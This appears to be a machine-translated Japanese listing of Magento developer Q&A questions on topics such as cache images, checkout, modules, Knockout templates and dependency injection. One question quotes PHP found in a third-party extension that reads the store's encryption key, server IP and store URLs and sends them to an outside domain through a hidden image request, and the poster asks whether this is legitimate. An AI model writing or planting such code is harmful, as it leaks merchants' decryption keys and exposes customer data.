Magento

Magento eコマースプラットフォームのユーザー向けのQ&A

5
カタログキャッシュイメージの問題を再生成する
Magento 1.9.2.4からMagento 2.1.6への移行プロセスを行っています。移行が完了したら、M1のメディアフォルダーをpub / media M2に移動します。 問題は、カタログ/キャッシュフォルダーに画像の一部が生成されないことです たとえば、以下の画像は404 not foundになります pub/media/catalog/product/cache/f9c7fbe9b524c081a3ccf800cbd963eb/m/s/msj006c-red_2.jpg pub/media/catalog/product/cache/75eed2686e01eb22cb4050b2f40ddf97/m/s/msj006c-red_2.jpg pub/media/catalog/product/cache/f9c7fbe9b524c081a3ccf800cbd963eb/m/s/msj006c-red_2.jpg カタログキャッシュフォルダーを削除してページを再度読み込むだけですが、壊れたイメージになります。 私のページには50%の壊れた画像があります この問題を解決するための回避策を共有できますか?

6
SUPEE-9767 Patch / CE 1.9.3.3-1ページのチェックアウト-顧客登録の問題
新規の顧客登録チェックアウトが成功した後、 SUPEE-8788、SUPEE-9652、およびSUPEE-9767でパッチされ、新しい「チェックアウト時のフォームキー検証を有効にする」設定がオンになっているMagento 1.9.2.4のクリーンなバニラインストールでデフォルトのOne Page Checkoutの場合、新しい顧客は作成されず、顧客はログインしませんが、注文は順調に進みます。 [チェックアウト時のフォームキー検証を有効にする]設定をオフにすると、この機能が再び機能します。他の誰かがこの問題を抱えていましたか?どの配送/支払い方法が使用されるかは問題ではないようです。 それ以来、Magento 1.9.3.3の新しい、変更されていないインストールでこれを試しましたが、同じ問題があるようです。1ページのチェックアウトで新規顧客を登録する場合、「チェックアウト時のフォームキー検証を有効にする」設定がオンになっている限り、注文が正常に完了しても顧客は作成されません。


2
害を与えずにオフにできる未使用のコアモジュールのリスト
これにReffering Magentoの1については、このトピック彼らはほとんど使用されていないので、多分オフにするか、完全に私たちの店のための害で除去することができるコアMagentoの2モジュールのリストを準備することは有用であろう。 いくつかの命題から始めるには: Magento_UpsまたはMagento_DhlまたはMagento_Fedex(当社のクライアントは、それらの出荷を使用しない場合) Magento_Paypal - 上記のように Magento_AdminNotification (時々迷惑です) すべてのモジュールImport/Export-店舗をMagentoから移行しない場合1 Magento_BundleまたはMagento_DownloadableまたはMagento_GroupedProduct-使用しない場合 Magento_GiftMessage -(使用しない場合) Magento_Rss -使用しない場合 Magento_Sitemap そして、ここでいくつかの疑わしいもの-誰かがそれらに経験がある場合、それらが何かに役立つかどうかを知らせてください: Magento_Marketplace Magento_Msrp Magento_NewRelicReporting Magento_OfflineShipping & Magento_OfflinePayments Magento_SampleData Magento_Swagger Magento_Usps Magento_Vault

2
顧客住所編集フォームに顧客のカスタム属性を追加する方法は?
顧客のカスタム属性をcustomer_addressタイプとして追加し、管理者、onepagecheckout、および配送先住所と請求先住所で正しく実行されます。 作成しました: my_namespace/my_module/etc/module.xmlおよびregistration.php composer.jsonモジュールのベースディレクトリ内のファイル。 my_namespace / my_module / Setup / InstallData.php namespace Namespace\Module\Setup; use Magento\Framework\Module\Setup\Migration; use Magento\Framework\Setup\InstallDataInterface; use Magento\Framework\Setup\ModuleContextInterface; use Magento\Framework\Setup\ModuleDataSetupInterface; /** * @codeCoverageIgnore */ class InstallData implements InstallDataInterface { /** * Customer setup factory * * @var CustomerSetupFactory */ private $customerSetupFactory; /** * Init * * @param CustomerSetupFactory $customerSetupFactory …


2
magento2でのページファクトリクラスの使用
\Magento\Framework\View\Result\PageFactoryコンストラクターに挿入された結果ファクトリクラスを使用してMagento2でカスタムモジュールページをレンダリングし、表示するページを作成する目的は何ですか $resultPage = $this->resultFactory->create(ResultFactory::TYPE_PAGE); Magento 1.xのアプローチと同じように、以下のような表示を行うのではなく、 $this->_view->loadLayout(); $this->_view->renderLayout();

3
Magento 2:「getTemplate」ノックアウト関数はどのように/どこにバインドされますか?
多くのMagentoバックエンドページのソースコードには以下が含まれています <!-- ko template: getTemplate() --><!-- /ko --> 私はそれを理解しています(またはそう思いますか?)、これ<!-- ko templateはKnockoutJSのコンテナーなしのテンプレートバインディングです。 私には明らかでないのは、getTemplate()関数が呼び出されるコンテキストは何ですか?私がオンラインで見た例では、通常、の後にjavascriptオブジェクトがありtemplate:ます。私はそれgetTemplateがオブジェクトを返すjavascript関数であると仮定しています-しかし、という名前のグローバル javascript関数はありませんgetTemplate。 どこにgetTemplate縛られていますか?または、より良い質問かもしれませんが、KnockoutJSアプリケーションバインディングはMagentoバックエンドページのどこで発生しますか? 純粋なHTML / CSS / Javascriptの観点からこれに興味があります。Magento 2には多くの構成の抽象化があるため、(理論上)開発者は実装の詳細について心配する必要はありません。実装の詳細に興味があります。


2
Magento Connectは、パッケージ化された拡張機能で著者情報をどのように使用しますか
Magento Connectの拡張機能をパッケージ化する場合、作成者情報を含めるように求められます。 最初の作成者は、拡張機能の送信に使用したMagento Connectアカウントの資格情報と一致する必要があることを認識していますが、私にはわかりません。 情報の使用方法 複数の著者情報の使用方法 1つの懸念は、電子メールアドレスが公開されることです。

2
モジュールがリモートでグローバル/暗号化/キーにアクセスする正当な理由はありますか?
私の無知を許しますが、Magentoのデータを解読するために暗号鍵が使用されますよね?モジュールがこれにアクセスする正当な理由はありますか?Advanced Content Managerをインストールした後、このコードを見つけました... <div id="banana-tracker"> <?php $stores = Mage::app()->getStores(); $key = (string)Mage::getConfig()->getNode('global/crypt/key'); $date = (string)Mage::getConfig()->getNode('global/install/date'); $serverIp = $_SERVER['SERVER_ADDR']; $params = 'key='.$key.'&date='.$date.'&'; foreach($stores as $store) { $params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&'; } ?> <img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />

1
getBlockHtml( 'formkey')とは何ですか?
Magentoで製品編集ページ(最初のタブ)を編集しようとしていますが、数量(およびその他のいくつか)をそれぞれのタブから最初のページまで移動したいと考えています。そうですか <form action="<?php echo $this->getSaveUrl() ?>" method="post" id="product_edit_form" enctype="multipart/form-data"> <?php echo $this->getBlockHtml('formkey')?> <div style="display:none"></div> </form> そして、数量テキストボックスのコードは <tr> <td class="label"><label for="inventory_qty"><?php echo Mage::helper('catalog')->__('Qty') ?><span class="required">*</span></label></td> <td class="value"> <?php if (!$_readonly):?> <input type="hidden" id="original_inventory_qty" name="<?php echo $this->getFieldSuffix() ?>[stock_data][original_inventory_qty]" value="<?php echo $this->getFieldValue('qty')*1 ?>"/> <?php endif;?> <input type="text" class="input-text required-entry validate-number" id="inventory_qty" name="<?php echo …

14
bin / magento setup:upgradeを実行すると、pub / staticディレクトリに書き込み権限がありません
前日、新しいモジュールを更新しましたが、正常に機能していました。さて、実行するbin/magento setup:upgradeと、次の例外が発生します。pubMagento 2 のフォルダーのアクセス許可を777(または770)に設定しようとしましたが、機能しません。 [例外] 次のディレクトリへの書き込み権限がありません: 'pub / static'

1
注文の取り消しとキャンセルの違いは何ですか?
注文の取り消しとキャンセルの違いは何ですか?一方を他方に対して実行する理由は何ですか? クレジットカードが管理ダッシュボードにオンライン捕獲された注文を見たとき、私はへのオプションの両方持っているCancelかにVoid順序を。 両方の支払いコントローラーは、支払いゲートウェイとのトランザクションを無効にする機能を起動します。

2
Magento 2 DIのベストプラクティス
たとえば、Magento 2拡張機能を構築しているとしましょう。それは非常に素晴らしいものを行うとしましょう。 しかし、他の開発者が拡張できるように、これが適切な標準を使用してビルドされることを確認したいと思います。 インターフェイスと組み合わせてDIを使用する必要がある場合と使用しない場合 ここでそれを明確にするのがコア例です。 クラスにMagento\Core\Helper\Dataは、次のようなコンストラクターがあります。 public function __construct( \Magento\Framework\App\Helper\Context $context, \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig, \Magento\Store\Model\StoreManagerInterface $storeManager, \Magento\Framework\App\State $appState, PriceCurrencyInterface $priceCurrency, $dbCompatibleMode = true ) { parent::__construct($context); $this->_scopeConfig = $scopeConfig; $this->_storeManager = $storeManager; $this->_appState = $appState; $this->_dbCompatibleMode = $dbCompatibleMode; $this->_priceCurrency = $priceCurrency; } 私の質問はvarに焦点を合わせています\Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig(同じコンストラクターに他のものがあることは知っていますが、私が考えるすべてのケースに1つの説明が当てはまります)。 di.xmlコアモジュールによると、varは次のインスタンスになりますMagento\Framework\App\Config。 <preference for="Magento\Framework\App\Config\ScopeConfigInterface" type="Magento\Framework\App\Config" /> 必要に応じて簡単に変更できます。 コードでそのようなインターフェイスを使用する必要があるのはいつですか? …

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.